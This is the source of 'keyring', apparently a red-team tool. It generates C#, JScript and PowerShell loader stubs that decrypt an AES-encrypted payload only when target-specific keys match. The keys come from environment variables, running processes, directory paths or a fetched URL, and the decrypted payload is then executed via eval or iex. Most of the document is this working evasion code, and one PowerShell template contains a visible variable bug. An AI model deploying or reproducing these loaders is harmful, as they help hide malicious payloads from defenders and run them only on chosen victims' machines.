├── examples
├── ps-config.yml
├── js-config.yml
└── cs-config.yml
├── data
├── csharp
│ ├── keyers
│ │ ├── static.xml
│ │ ├── envkey.xml
│ │ ├── custom.xml
│ │ ├── custom_chain.xml
│ │ ├── processes.xml
│ │ ├── directory.xml
│ │ ├── httpkey.xml
│ │ └── dnskey.xml
│ └── lang.xml
├── jscript
│ ├── keyers
│ │ ├── static.xml
│ │ ├── envkey.xml
│ │ ├── custom.xml
│ │ ├── custom_chain.xml
│ │ ├── httpkey.xml
│ │ └── directory.xml
│ └── lang.xml
└── powershell
│ ├── keyers
│ ├── static.xml
│ ├── envkey.xml
│ ├── custom.xml
│ ├── custom_chain.xml
│ ├── directory.xml
│ ├── httpkey.js
│ └── httpkey.xml
│ └── lang.xml
├── lib
├── helpers.go
├── httpkey.go
├── crypt.go
└── codeutils.go
├── LICENSE
├── README.md
└── keyring.go
/examples/ps-config.yml:
--------------------------------------------------------------------------------
1 | language: powershell
2 | payloadFile: test.ps1
3 | keyers:
4 | -
5 | name: envkey
6 | inputs:
7 | - USERDOMAIN
8 | keydata: DEV
9 | -
10 | name: envkey
11 | inputs:
12 | - USERNAME
13 | keydata: Administrator
14 | retries: 0
15 | sleep: 10
16 |
--------------------------------------------------------------------------------
/examples/js-config.yml:
--------------------------------------------------------------------------------
1 | language: jscript
2 | payloadFile: test.js
3 | outputFile: result.js
4 | keyers:
5 | -
6 | name: envkey
7 | inputs:
8 | - USERDOMAIN
9 | keydata: DEV
10 | -
11 | name: envkey
12 | inputs:
13 | - USERNAME
14 | keydata: Administrator
15 | retries: 0
16 | sleep: 0
17 |
--------------------------------------------------------------------------------
/examples/cs-config.yml:
--------------------------------------------------------------------------------
1 | language: csharp
2 | payloadFile: Tester.dll
3 | outputFile: result.cs
4 | assemblyType: Tester.Environmental
5 | assemblyMethod: Dive
6 | keyers:
7 | -
8 | name: envkey
9 | inputs:
10 | - USERDOMAIN
11 | keydata: DEV
12 | -
13 | name: envkey
14 | inputs:
15 | - USERNAME
16 | keydata: Administrator
17 | retries: 0
18 | sleep: 0
19 |
--------------------------------------------------------------------------------
/data/csharp/keyers/static.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 | Static Key
4 | Basic encryption where the key is stored within the final payload
5 | combo
6 | 0
7 |
8 | Number of inputs: 0
9 |
10 |
11 |
12 | combos.push("{{.Output}}");
13 |
14 |
15 |
16 |
--------------------------------------------------------------------------------
/data/jscript/keyers/static.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 | Static Key
4 | Basic encryption where the key is stored within the final payload
5 | combo
6 | 0
7 |
8 | Number of inputs: 0
9 |
10 |
11 |
12 | combos.push("{{.Output}}");
13 |
14 |
15 |
16 |
--------------------------------------------------------------------------------
/data/powershell/keyers/static.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 | Static Key
4 | Basic encryption where the key is stored within the final payload
5 | combo
6 | 0
7 |
8 | Number of inputs: 0
9 |
10 |
11 |
12 | combos.push("{{.Output}}");
13 |
14 |
15 |
16 |
--------------------------------------------------------------------------------
/data/csharp/keyers/envkey.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 | Environmental Variable
4 | Encrypts based on environment variables
5 | combo
6 | 1
7 |
8 | Number of inputs: 1
9 | Input 1: The environment variable name to request
10 | ex) USERDNSDOMAIN
11 |
12 |
13 |
14 |
15 | combos.Add(System.Environment.GetEnvironmentVariable("{{index .Inputs 0}}"));
16 |
17 |
18 |
--------------------------------------------------------------------------------
/data/powershell/keyers/envkey.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 | Environmental Variable
4 | Encrypts based on environment variables
5 | combo
6 | 1
7 |
8 | Number of inputs: 1
9 | Input 1: The environment variable name to request
10 | ex) USERDNSDOMAIN
11 |
12 |
13 |
14 |
15 | $combos += [Environment]::GetEnvironmentVariable("{{index .Inputs 0}}")
16 |
17 |
18 |
--------------------------------------------------------------------------------
/data/jscript/keyers/envkey.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 | Environmental Variable
4 | Encrypts based on environment variables
5 | combo
6 | 1
7 |
8 | Number of inputs: 1
9 | Input 1: The environment variable name to request
10 | ex) USERDNSDOMAIN
11 |
12 |
13 | var oEnv = new ActiveXObject('WScript.Shell').Environment("Process");
14 |
15 |
16 | combos.push(oEnv("{{index .Inputs 0}}"));
17 |
18 |
19 |
--------------------------------------------------------------------------------
/data/jscript/keyers/custom.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 | Custom Keyer (combo)
4 | Inputs a blank function which must return a string which will be used to decrypt. The output should be set to the expected string returned from the function.
5 | combo
6 | 1
7 |
8 | Number of inputs: 1
9 | Input 1: Name of your custom function
10 |
11 |
12 | function {{index .Inputs 0}}() {
13 |
14 | }
15 |
16 |
17 | combos.push({{index .Inputs 0}}());
18 |
19 |
20 |
21 |
--------------------------------------------------------------------------------
/data/powershell/keyers/custom.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 | Custom Keyer (combo)
4 | Inputs a blank function which must return a string which will be used to decrypt. The output should be set to the expected string returned from the function.
5 | combo
6 | 1
7 |
8 | Number of inputs: 1
9 | Input 1: Name of your custom function
10 |
11 |
12 | function {{index .Inputs 0}} {
13 | param()
14 |
15 | }
16 |
17 |
18 | $combos += {{index .Inputs 0}}
19 |
20 |
21 |
--------------------------------------------------------------------------------
/data/powershell/keyers/custom_chain.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 | Custom Keyer (chain)
4 | Inputs a blank function which must return an array of strings which one will be used to decrypt. The output should be set to the expected string within the array.
5 | chain
6 | 1
7 |
8 | Number of inputs: 1
9 | Input 1: Name of your custom function
10 |
11 |
12 | function {{index .Inputs 0}} {
13 | param()
14 |
15 | }
16 |
17 |
18 | $chains += {{index .Inputs 0}}
19 |
20 |
21 |
22 |
--------------------------------------------------------------------------------
/data/jscript/keyers/custom_chain.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 | Custom Keyer (chain)
4 | Inputs a blank function which must return an array of strings which one will be used to decrypt. The output should be set to the expected string within the array.
5 | chain
6 | 1
7 |
8 | Number of inputs: 1
9 | Input 1: Name of your custom function
10 |
11 |
12 | function {{index .Inputs 0}}() {
13 |
14 | }
15 |
16 |
17 | chains.push.apply(chains, {{index .Inputs 0}}());
18 |
19 |
20 |
21 |
--------------------------------------------------------------------------------
/data/csharp/keyers/custom.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 | Custom Keyer (combo)
4 | Inputs a blank function which must return a string which will be used to decrypt. The output should be set to the expected string returned from the function.
5 | combo
6 | 1
7 |
8 | Number of inputs: 1
9 | Input 1: Name of your custom function
10 |
11 |
12 | static string {{index .Inputs 0}}(string url, string userAgent)
13 | {
14 |
15 | }
16 |
17 |
18 | combos.Add({{index .Inputs 0}}());
19 |
20 |
21 |
--------------------------------------------------------------------------------
/data/powershell/keyers/directory.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 | File/Folder Paths
4 | Encrypts based on a folder or file path accessible to the host. Spiders all files
5 | and folder paths under a specified directory
6 | chain
7 | 2
8 |
9 | Number of inputs: 2
10 | Input 1: The directory to start spidering from
11 | ex) C:\Users
12 |
13 |
14 |
15 |
16 | $chains += Get-ChildItem "{{index .Inputs 0}}" -Recurse -Force -ErrorAction SilentlyContinue | %{$_.FullName}
17 |
18 |
19 |
--------------------------------------------------------------------------------
/data/csharp/keyers/custom_chain.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 | Custom Keyer (chain)
4 | Inputs a blank function which must return an array of strings which one will be used to decrypt. The output should be set to the expected string within the array.
5 | chain
6 | 1
7 |
8 | Number of inputs: 1
9 | Input 1: Name of your custom function
10 |
11 |
12 | static List<string> {{index .Inputs 0}}(ref List<string> items)
13 | {
14 |
15 | }
16 |
17 |
18 | {{index .Inputs 0}}(ref chains);
19 |
20 |
21 |
22 |
--------------------------------------------------------------------------------
/data/csharp/keyers/processes.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 | Processes
4 | Encrypts based on a running process name on the endpoint.
5 | chain
6 | 0
7 |
8 | Number of inputs: 0
9 |
10 |
11 | static void GetProcesses(ref List<string>items)
12 | {
13 | System.Diagnostics.Process[] processes = System.Diagnostics.Process.GetProcesses();
14 |
15 | foreach(System.Diagnostics.Process p in processes)
16 | {
17 | items.Add(p.ProcessName);
18 | }
19 | }
20 |
21 |
22 | GetProcesses(ref chains);
23 |
24 |
25 |
26 |
27 |
--------------------------------------------------------------------------------
/data/powershell/keyers/httpkey.js:
--------------------------------------------------------------------------------
1 | var hkPayloadHash = "~HKPAYLOADHASH~";
2 | var hkPayload = "~HKPAYLOAD~";
3 | for(var i = 0; i < ~RETRYNUM~; i++) {
4 | var xHttp = new ActiveXObject("MSXML2.XMLHTTP");
5 | xHttp.Open("GET", "~HKURL~", false);
6 | xHttp.setRequestHeader("User-Agent", "~HKUSERAGENT~");
7 | xHttp.Send();
8 | response = xHttp.responseText;
9 | var key = getSHA512(response);
10 | key = key.substring(0,32);
11 | try {
12 | var decrypted = decryptAES(hkPayload, key, "~HKIV~")
13 | if(compareHash(decrypted, hkPayloadHash, 0)) {
14 | eval(decrypted);
15 | WScript.Quit(1);
16 | }
17 | }
18 | catch(err) {}
19 | WScript.Sleep(30000);
20 | }
21 |
--------------------------------------------------------------------------------
/data/jscript/keyers/httpkey.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 | HTTP Key
4 | Makes request to a URL and hashes the HTML.
5 | combo
6 | 2
7 |
8 | Number of inputs: 2
9 | Input 1: The URL
10 | ex) https://somesite.com/index.html
11 | Input 2: User Agent (https://developers.whatismybrowser.com/useragents/explore/)
12 | ex) Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
13 |
14 |
15 | function GetHttpKey(url, ua) {
16 | var xHttp = new ActiveXObject("MSXML2.XMLHTTP");
17 | xHttp.Open("GET", url, false);
18 | xHttp.setRequestHeader("User-Agent", ua);
19 | xHttp.Send();
20 | response = xHttp.responseText;
21 | return getSHA512(response);
22 | }
23 |
24 |
25 | combos.push(GetHttpKey("{{index .Inputs 0}}", "{{index .Inputs 1}}"));
26 |
27 |
28 |
--------------------------------------------------------------------------------
/lib/helpers.go:
--------------------------------------------------------------------------------
1 | package lib
2 |
3 | import (
4 | "errors"
5 | "io/ioutil"
6 | "os"
7 | )
8 |
9 | // ReadFile reads a file given the path and returns a byte slice
10 | func ReadFile(path string) ([]byte, error) {
11 | fileBytes, err := ioutil.ReadFile(path)
12 | if err != nil {
13 | return nil, errors.New("(ReadFile) Error reading file")
14 | }
15 | return fileBytes, nil
16 | }
17 |
18 | // WriteFile writes a file given the path and a byte slice
19 | func WriteFile(filename string, contents []byte) {
20 | f, err := os.Create(filename)
21 | if err != nil {
22 | panic(err)
23 | }
24 |
25 | defer f.Close()
26 |
27 | _, err = f.Write(contents)
28 | if err != nil {
29 | panic(err)
30 | }
31 | }
32 |
33 | // StrInSlice checks if a string exists in a slice. No convenient "in" with Go
34 | // https://stackoverflow.com/questions/15323767/does-go-have-if-x-in-construct-similar-to-python
35 | func StrInSlice(s string, l []string) bool {
36 | for _, val := range l {
37 | if val == s {
38 | return true
39 | }
40 | }
41 | return false
42 | }
43 |
--------------------------------------------------------------------------------
/data/powershell/keyers/httpkey.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 | HTTP Key
4 | Makes request to a URL and hashes the HTML.
5 | combo
6 | 2
7 |
8 | Number of inputs: 2
9 | Input 1: The URL
10 | ex) https://somesite.com/index.html
11 | Input 2: User Agent (https://developers.whatismybrowser.com/useragents/explore/)
12 | ex) Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
13 |
14 |
15 | function Get-HttpKey {
16 | param($hurl, $hua)
17 | [System.Net.ServicePointManager]::Expect100Continue=0;
18 | $wc = New-Object Net.WebClient
19 | $wc.Headers.Add('User-Agent', $hua)
20 | $wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy
21 | $wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials
22 | $resp = $wc.DownloadString($hurl)
23 |
24 | return (Get-SHA512Hash $b)[0..31] -join ""
25 | }
26 |
27 |
28 | $combos += Get-HttpKey '{{index .Inputs 0}}' '{{index .Inputs 1}}'
29 |
30 |
31 |
--------------------------------------------------------------------------------
/data/csharp/keyers/directory.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 | File/Folder Paths
4 | Encrypts based on a folder or file path accessible to the host. Spiders all files
5 | and folder paths under a specified directory
6 | chain
7 | 2
8 |
9 | Number of inputs: 2
10 | Input 1: The directory to start spidering from
11 | ex) C:\Users
12 | Input 2: How far down the directory structure to go
13 | ex) 5
14 |
15 |
16 | static List<string> WalkDirs(string dir, ref List<string> items, int depth)
17 | {
18 | var x = System.IO.Directory.GetDirectories(dir);
19 | foreach (string d in System.IO.Directory.GetDirectories(dir))
20 | {
21 | try
22 | {
23 | items.Add(d);
24 | foreach (string f in System.IO.Directory.GetFiles(d))
25 | {
26 | items.Add(f);
27 | }
28 | if (depth > 0)
29 | {
30 | WalkDirs(d, ref items, depth - 1);
31 | }
32 | }
33 | catch { continue; }
34 | }
35 | return items;
36 | }
37 |
38 |
39 | WalkDirs("{{index .Inputs 0}}", ref chains, {{index .Inputs 1}});
40 |
41 |
42 |
43 |
--------------------------------------------------------------------------------
/data/csharp/keyers/httpkey.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 | HTTP Key
4 | Makes request to a URL and hashes the HTML.
5 | combo
6 | 2
7 |
8 | Number of inputs: 2
9 | Input 1: The URL
10 | ex) https://somesite.com/index.html
11 | Input 2: User Agent (https://developers.whatismybrowser.com/useragents/explore/)
12 | ex) Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
13 |
14 |
15 | static string HttpKey(string url, string userAgent)
16 | {
17 | var request = (System.Net.HttpWebRequest)System.Net.WebRequest.Create(url);
18 |
19 | request.Method = "GET";
20 | request.UserAgent = userAgent;
21 | request.ServicePoint.Expect100Continue = false;
22 |
23 | request.Proxy = System.Net.WebRequest.DefaultWebProxy;
24 | request.Proxy.Credentials = System.Net.CredentialCache.DefaultNetworkCredentials;
25 |
26 | var response = (System.Net.HttpWebResponse)request.GetResponse();
27 | string html = new System.IO.StreamReader(response.GetResponseStream()).ReadToEnd();
28 | return SHA512(Encoding.UTF8.GetBytes(html), 0);
29 | }
30 |
31 |
32 | combos.Add(HttpKey("{{index .Inputs 0}}", "{{index .Inputs 1}}"));
33 |
34 |
35 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | BSD 3-Clause License
2 |
3 | Copyright (c) 2017, Leo Loobeek
4 | All rights reserved.
5 |
6 | Redistribution and use in source and binary forms, with or without
7 | modification, are permitted provided that the following conditions are met:
8 |
9 | * Redistributions of source code must retain the above copyright notice, this
10 | list of conditions and the following disclaimer.
11 |
12 | * Redistributions in binary form must reproduce the above copyright notice,
13 | this list of conditions and the following disclaimer in the documentation
14 | and/or other materials provided with the distribution.
15 |
16 | * Neither the name of the copyright holder nor the names of its
17 | contributors may be used to endorse or promote products derived from
18 | this software without specific prior written permission.
19 |
20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
30 |
--------------------------------------------------------------------------------
/data/jscript/keyers/directory.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 | File/Folder Paths
4 | Encrypts based on a folder or file path accessible to the host. Spiders all files
5 | and folder paths under a specified directory
6 | chain
7 | 2
8 |
9 | Number of inputs: 2
10 | Input 1: The directory to start spidering from
11 | ex) C:\Users
12 | Input 2: How far down the directory structure to go
13 | ex) 5
14 |
15 |
16 | function WalkOS(allPaths,fso,folder,depth) {
17 | var folEnum = new Enumerator(folder.SubFolders);
18 | for (;!folEnum.atEnd(); folEnum.moveNext()) {
19 | allPaths.push(fso.GetAbsolutePathName(folEnum.item()));
20 | if(depth > 0) {
21 | WalkOS(allPaths,fso,folEnum.item(),(depth-1));
22 | }
23 | }
24 | var files = folder.Files;
25 | var fc = new Enumerator(folder.Files);
26 | for (;!fc.atEnd(); fc.moveNext()) {
27 | allPaths.push(fso.GetAbsolutePathName(fc.item()));
28 | }
29 | }
30 | function GetAllPaths() {
31 | var allPaths = []
32 | var startDir = "{{index .Inputs 0}}";
33 | try {
34 | var objFSO = new ActiveXObject("Scripting.FileSystemObject");
35 | var startDirObject = objFSO.GetFolder(startDir);
36 | WalkOS(allPaths,objFSO,startDirObject,{{index .Inputs 1}});
37 | }
38 | catch(err) {}
39 | return allPaths;
40 | }
41 |
42 |
43 | chains.push.apply(chains, GetAllPaths());
44 |
45 |
46 |
47 |
--------------------------------------------------------------------------------
/lib/httpkey.go:
--------------------------------------------------------------------------------
1 | package lib
2 |
3 | import (
4 | "io/ioutil"
5 | "net"
6 | "net/http"
7 | )
8 |
9 | // GenerateHttpKey reaches out to url, hashes the body and returns
10 | // the sha512 hash
11 | func GenerateHttpKey(url string) (string, error) {
12 | client := &http.Client{}
13 |
14 | req, err := http.NewRequest("GET", url, nil)
15 | if err != nil {
16 | return "", err
17 | }
18 |
19 | req.Header.Set("User-Agent", "GoGreen User Agent")
20 |
21 | resp, err := client.Do(req)
22 | if err != nil {
23 | return "", err
24 | }
25 |
26 | defer resp.Body.Close()
27 | result, err := ioutil.ReadAll(resp.Body)
28 | if err != nil {
29 | return "", err
30 | }
31 |
32 | httpKey, _ := GenerateHash(result, "sha512")
33 | return httpKey, nil
34 | }
35 |
36 | // GenerateDNSAKey requests DNS A record, hashes the response and
37 | // returns the DNS response and the sha512 hash
38 | // Note: Only works with the first response and ignores multiple responses
39 | func GenerateDNSAKey(hostname string) (string, string, error) {
40 | resp, err := net.LookupHost(hostname)
41 | if err != nil {
42 | return "", "", err
43 | }
44 | result := resp[0]
45 |
46 | hash, _ := GenerateHash([]byte(result), "sha512")
47 | return result, hash, nil
48 | }
49 |
50 | // GenerateDNSTXTKey requests DNS A record, hashes the response and
51 | // returns the DNS response and the sha512 hash
52 | // Note: Only works with the first response and ignores multiple responses
53 | func GenerateDNSTXTKey(hostname string) (string, string, error) {
54 | resp, err := net.LookupTXT(hostname)
55 | if err != nil {
56 | return "", "", err
57 | }
58 | result := resp[0]
59 |
60 | hash, _ := GenerateHash([]byte(result), "sha512")
61 | return result, hash, nil
62 | }
63 |
--------------------------------------------------------------------------------
/lib/crypt.go:
--------------------------------------------------------------------------------
1 | package lib
2 |
3 | import (
4 | "bytes"
5 | "crypto/aes"
6 | "crypto/cipher"
7 | "crypto/rand"
8 | "crypto/sha512"
9 | "encoding/base64"
10 | "encoding/hex"
11 | "fmt"
12 | "io"
13 | )
14 |
15 | // GenerateHash takes a string and hashType. Based on hashType calls the
16 | // respected function or returns an error that the hashType isn't supported
17 | func GenerateHash(s []byte, hashType string) (string, error) {
18 | switch hashType {
19 | case "sha512":
20 | return GenerateSHA512(s), nil
21 | default:
22 | return "", fmt.Errorf("[!] GenerateHash: %s not supported", hashType)
23 | }
24 | }
25 |
26 | // GenerateSHA512 takes a string, generates a SHA512 hash
27 | // and sends back as hex string
28 | func GenerateSHA512(s []byte) string {
29 | sha := sha512.New()
30 | sha.Write(s)
31 |
32 | return hex.EncodeToString(sha.Sum(nil))
33 | }
34 |
35 | // AESEncrypt https://golang.org/src/crypto/cipher/example_test.go
36 | // Returns base64 encoded ciphertext and base64 encoded IV
37 | // Not returning both (iv:ciphertext) as includes too much js/vbs to detach
38 | func AESEncrypt(key, text []byte) (string, string, error) {
39 | plaintext, err := pkcs7Pad(text)
40 | if err != nil {
41 | return "", "", err
42 | }
43 |
44 | if len(plaintext)%aes.BlockSize != 0 {
45 | return "", "", fmt.Errorf("[!] AESEncrypt: plaintext is not a multiple of the block size")
46 | }
47 |
48 | block, err := aes.NewCipher(key)
49 | if err != nil {
50 | return "", "", err
51 | }
52 |
53 | ciphertext := make([]byte, aes.BlockSize+len(plaintext))
54 | iv := ciphertext[:aes.BlockSize]
55 | if _, err := io.ReadFull(rand.Reader, iv); err != nil {
56 | panic(err)
57 | }
58 |
59 | mode := cipher.NewCBCEncrypter(block, iv)
60 | mode.CryptBlocks(ciphertext[aes.BlockSize:], plaintext)
61 |
62 | return Base64Encode(ciphertext[aes.BlockSize:]), Base64Encode(iv), nil
63 | }
64 |
65 | // https://github.com/go-web/tokenizer/blob/master/pkcs7.go
66 | func pkcs7Pad(b []byte) ([]byte, error) {
67 | if aes.BlockSize <= 0 {
68 | return nil, fmt.Errorf("[!] pkcs7Pad: invalid blocksize")
69 | }
70 | if b == nil || len(b) == 0 {
71 | return nil, fmt.Errorf("[!] pkcs7Pad: invalid PKCS7 data (empty or not padded)")
72 | }
73 | n := aes.BlockSize - (len(b) % aes.BlockSize)
74 | pb := make([]byte, len(b)+n)
75 | copy(pb, b)
76 | copy(pb[len(b):], bytes.Repeat([]byte{byte(n)}, n))
77 | return pb, nil
78 | }
79 |
80 | // Base64Encode basic wrapper around base64 encoding
81 | func Base64Encode(data []byte) string {
82 | sEnc := base64.StdEncoding.EncodeToString(data)
83 | return sEnc
84 | }
85 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # keyring
2 |
3 | KeyRing was written to make key derivation functions (keying) more approachable and easier to quickly develop during pentesting and red team operations. Keying is the idea of encrypting your original payload with local and remote resources, so it will only decrypt on the target system or under other situations.
4 |
5 | This tool was developed to easily provide encryption/decryption code and other techniques for keying. The tool will output raw C#, JScript, or PowerShell that you can then build into your stage0/launcher payloads (e.g. MSBuild.exe). It should be expected that the raw output from these tools can and will be easily signatured. I find value in tools that don't do too much and give you the basics to allow for you to be creative when crafting your payloads.
6 |
7 | ### Presentation and Background
8 | DerbyCon 8.0: Protect Your Payloads
9 | https://www.youtube.com/watch?v=MHc3XP3XC4I
10 |
11 | ### Compiled Binaries
12 | You can retrieve the latest release of keyring binaries in the Releases page.
13 |
14 | ### Build
15 | If you would prefer to build the source yourself, make sure Go 1.10+ is
16 | installed and execute the following:
17 |
18 | ```
19 | go get -u github.com/leoloobeek/keyring
20 | ```
21 |
22 | ### Usage
23 | Head on over to the wiki for more usage information.
24 |
25 | The [Walkthrough:Jscript](https://github.com/leoloobeek/keyring/wiki/Walkthrough:-JScript) page provides a full walkthrough, from beginning to end and is recommended to get started.
26 |
27 | ### Contributions
28 | I'm sure there will definitely be bugs, but also this tool was written to match my workflow. If there's something you would find useful feel free to submit an Issue or even a PR!
29 |
30 | ### HUGE Thanks
31 | [Josh Pitts](https://twitter.com/midnite_runr) and [Travis Morrow](https://twitter.com/wired33) came up with the first practical use case of environmental keying with their [Genetic Malware presentation](https://www.youtube.com/watch?v=WI8Y24jTTlw). They then released [Ebowla](https://github.com/Genetic-Malware/Ebowla), which is a fantastic project and does a lot more than this one, such as OTP. This project would never have been possible without Josh, Travis, and Ebowla.
32 |
33 | Also thanks to the following:
34 | - James Forshaw [@tiraniddo](https://twitter.com/tiraniddo) as I took some code from https://github.com/tyranid/DotNetToJScript/
35 | - Will Schroeder [@harmj0y](https://twitter.com/harmj0y) and whoever else wrote the Empire PowerShell agent code
36 | - Alex Rymdeko-harvey [@Killswitch_GUI](https://twitter.com/Killswitch_GUI) and Chris Truncer [@christruncer](https://twitter.com/christruncer) for [HttpKey](https://cybersyndicates.com/2015/06/veil-evasion-aes-encrypted-httpkey-request-module/) idea
37 |
--------------------------------------------------------------------------------
/data/powershell/lang.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 | powershell
4 | ps1
5 |
6 | function Invoke-EncryptedFunction
7 | {
8 | function Get-SHA512Hash {
9 | param($b)
10 | return [System.BitConverter]::ToString($script:sha512.ComputeHash([System.Text.Encoding]::ASCII.GetBytes($b))).ToLower() -replace "-",""
11 | }
12 |
13 | function Compare-SHA512Hashes {
14 | param($a, $b, $m)
15 | $end = $a.Length - $m - 1
16 | if((Get-SHA512Hash $($a[0..$end] -join "")) -eq $b) {
17 | return $true
18 | }
19 | else { return $false }
20 | }
21 |
22 | function Get-Combos {
23 | param($chars)
24 | $script:result = @()
25 |
26 | function combos
27 | {
28 | param($p,$c)
29 | if ($c.Length -eq 0) { break }
30 | For ($i=0; $i -le $c.Length; $i++) {
31 | $script:result += $p + $c[$i]
32 | combos "$p$($c[$i])" ($c[($i+1)..$c.Length])
33 | }
34 | }
35 | combos '' $chars -PassThru
36 | return $script:result
37 | }
38 |
39 | function Get-AESDecrypted {
40 | param($b,$c,$i,$h,$m)
41 | $e=[System.Text.Encoding]::ASCII
42 | $bytes=[System.Convert]::FromBase64String($c)
43 | try {
44 | $AES=New-Object System.Security.Cryptography.AesCryptoServiceProvider;
45 | }
46 | catch {
47 | $AES=New-Object System.Security.Cryptography.RijndaelManaged;
48 | }
49 | $AES.Mode = "CBC"
50 | $AES.Key = $e.GetBytes((Get-SHA512Hash $b)[0..31] -join "")
51 | $AES.IV = [System.Convert]::FromBase64String($i)
52 | try {
53 | $decrypted = $AES.CreateDecryptor().TransformFinalBlock($bytes, 0, $bytes.Length)
54 | }
55 | catch { return }
56 | $result = $e.GetString($decrypted)
57 | if($(Compare-SHA512Hashes $result $h $m)) {
58 | iex($result)
59 | break
60 | }
61 | }
62 |
63 | {{.Functions}}
64 |
65 | function Test-Inputs {
66 | param($a,$b)
67 | $a | ForEach-Object {
68 | $key = "$_$b"
69 | Get-AESDecrypted $key.ToLower() "{{.EncryptedBase64}}" "{{.AESIVBase64}}" "{{.PayloadHash}}" {{.MinusBytes}}
70 | }
71 | }
72 | $script:sha512 = New-Object System.Security.Cryptography.SHA512CryptoServiceProvider
73 |
74 | $idx = 0
75 | Do {
76 | $chains = @("")
77 | $combos = @("")
78 |
79 | {{.Callers}}
80 |
81 | $combos = Get-Combos $combos
82 | $chains | ForEach-Object {
83 | Test-Inputs $combos $_
84 | }
85 | {{if .Sleep}}
86 | $idx++
87 | Start-Sleep {{.Sleep}}
88 | {{end}}
89 | } While ($idx -lt {{.Retries}})
90 | }
91 |
92 |
93 |
94 |
--------------------------------------------------------------------------------
/data/jscript/lang.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 | jscript
4 | js
5 |
6 | var shell = new ActiveXObject('WScript.Shell');
7 | ver = 'v4.0.30319';
8 | try {
9 | shell.RegRead('HKLM\\SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319\\');
10 | } catch(e) {
11 | ver = 'v2.0.50727';
12 | }
13 | shell.Environment('Process')('COMPLUS_Version') = ver;
14 | function decryptAES(decryptMe, key, iv) {
15 | var aes = new ActiveXObject("System.Security.Cryptography.RijndaelManaged");
16 | var a = new ActiveXObject("System.Text.ASCIIEncoding");
17 | aes.Mode = 1; //CBC
18 | aes.Padding = 2; //PKCS7
19 | aes.BlockSize = 128;
20 | aes.KeySize = 256;
21 | aes.IV = decodeBase64(iv);
22 | aes.Key = a.GetBytes_4(key);
23 |
24 | var encBytes = decodeBase64(decryptMe);
25 | var encLen = (a.GetByteCount_2(decryptMe) / 4) * 3;
26 | encLen = encLen - (decryptMe.split("=").length - 1)
27 |
28 | var decrypted = aes.CreateDecryptor().TransformFinalBlock(encBytes,0,encLen);
29 | return a.GetString(decrypted);
30 | }
31 | function decodeBase64(base64) {
32 | var dm = new ActiveXObject("Microsoft.XMLDOM");
33 | var el = dm.createElement("tmp");
34 | el.dataType = "bin.base64";
35 | el.text = base64
36 | return el.nodeTypedValue
37 | }
38 | function binToHex(binary) {
39 | var dom = new ActiveXObject("Microsoft.XMLDOM");
40 | var el = dom.createElement("tmp");
41 | el.dataType = "bin.hex";
42 | el.nodeTypedValue = binary;
43 | el.removeAttribute("dt:dt");
44 | return el.nodeTypedValue
45 | }
46 | function getSHA512(bytes) {
47 | var sha512 = new ActiveXObject("System.Security.Cryptography.SHA512Managed");
48 | var text = new ActiveXObject("System.Text.ASCIIEncoding");
49 | var result = binToHex(sha512.ComputeHash_2((text.GetBytes_4(bytes))));
50 | return result
51 | }
52 | function compareHash(decrypted, hash, minusBytes) {
53 | var sha512 = new ActiveXObject("System.Security.Cryptography.SHA512Managed");
54 | var text = new ActiveXObject("System.Text.ASCIIEncoding");
55 | var newHash = getSHA512(decrypted.substring(0, (decrypted.length - minusBytes)));
56 | if(newHash == hash) {
57 | return true;
58 | }
59 | else {
60 | return false;
61 | }
62 | }
63 | function getCombinations(chars) {
64 | var result = [];
65 | var f = function(prefix, chars) {
66 | for (var i = 0; i < chars.length; i++) {
67 | result.push(prefix + chars[i]);
68 | f(prefix + chars[i], chars.slice(i + 1));
69 | }
70 | }
71 | f('', chars);
72 | return result;
73 | }
74 |
75 | function tryKeyCombos(combos, path, encrypted, payloadHash, aesIVBase64, minusBytes) {
